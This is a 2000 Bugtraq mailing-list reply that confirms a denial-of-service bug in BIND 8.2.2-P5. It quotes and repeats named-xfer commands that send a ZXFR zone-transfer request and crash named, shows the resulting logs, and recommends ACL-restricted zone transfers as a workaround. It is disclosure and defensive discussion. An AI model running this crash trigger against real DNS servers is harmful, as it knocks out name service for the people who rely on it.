[17572] in bugtraq
Re: BIND 8.2.2-P5 Possible DOS
daemon@ATHENA.MIT.EDU (Darron Froese)
Thu Nov 9 02:57:58 2000
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Message-Id: <B62EECD7.4417%darron@froese.org>
Date: Wed, 8 Nov 2000 11:43:19 -0700
Reply-To: Darron Froese <darron@FROESE.ORG>
From: Darron Froese <darron@FROESE.ORG>
X-To: naif@inet.it
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <Pine.LNX.4.30.0011071339510.29294-100000@naif.inet.it>
On 11/7/00 5:40 AM, "Fabio Pietrosanti (naif)" <fabio@TELEMAIL.IT> wrote:
> <naif@naif> [~/bind/src822p5/bin/named-xfer] $ ./named-xfer -z zone.pippo.com
> -d 9 -f pics -Z dns.pippo.com
> named-xfer[29297]: send AXFR query 0 to 192.168.1.1
> named-xfer[29297]: premature EOF, fetching "zone.pippo.com"
>
> On the server's log:
> Nov 7 11:19:09 dns.pippo.com: named[188510]: approved ZXFR from
> [10.10.10.10].2284 for "zone.pippo.com"
> Nov 7 11:19:09 dns.pippo.com: named[188510]: unsupported XFR (type ZXFR) of
> "zone.pippo.com" (IN) to [10.10.10.10].2284
>
> Then the server "*** CRASHED ***" .
>
> I should assume that bind 8.2.2-P5 it's vulnerable ( Please someone test and
> confirm this kind of dos)
I can confirm this on one of my Mandrake 7.1 boxes (8.2.2-P5 running
chrooted and as uid/gid named) - this is what happened:
[root@gateway darron]# named-xfer -z domain.com -d 9 -f zone -Z
ns1.domain.com
named-xfer[20193]: send ZXFR query 0 to 192.168.1.100
named-xfer[20193]: premature EOF, fetching "domain.com"
08-Nov-2000 11:23:54.243 security: info: approved ZXFR from
[192.168.1.1].3577 for "domain.com"
08-Nov-2000 11:23:54.244 xfer-out: warning: unsupported XFR (type ZXFR) of
"domain.com" (IN) to [192.168.1.1].3577
A couple minutes later in the logs:
08-Nov-2000 11:26:52.040 default: critical: db_freedata: DB_F_FREE set
Then named was gone. Dead and gone.
I tried it again and attempted 3 zone transfers from an ip that had access
to transfer zones from that dns server - it died almost immediately and this
was in the logs:
08-Nov-2000 11:30:02.279 default: critical: db_freedata: d_rcnt != 0
It doesn't seem to be consistent in the amount of times it takes to kill it
- but it does end up dead.
NOTE and WORKAROUND: If you have secured your named daemon from zone
transfers from unauthorized locations, it appears that requesting a zone
transfer in this manner (which fails because of the security restrictions)
doesn't have the same DoS potential. I couldn't get the server to crash if
an acl restricted the zone transfer.
It seems to work and crash the server if:
1. You have zone transfers open to the entire universe. (The logic of which
is debatable and almost certainly stupid.)
2. A zone transfer is being requested from a location that's already allowed
to do zone transfers. Authorized zone transfers can crash the server at
will.
--
Darron
darron@froese.org
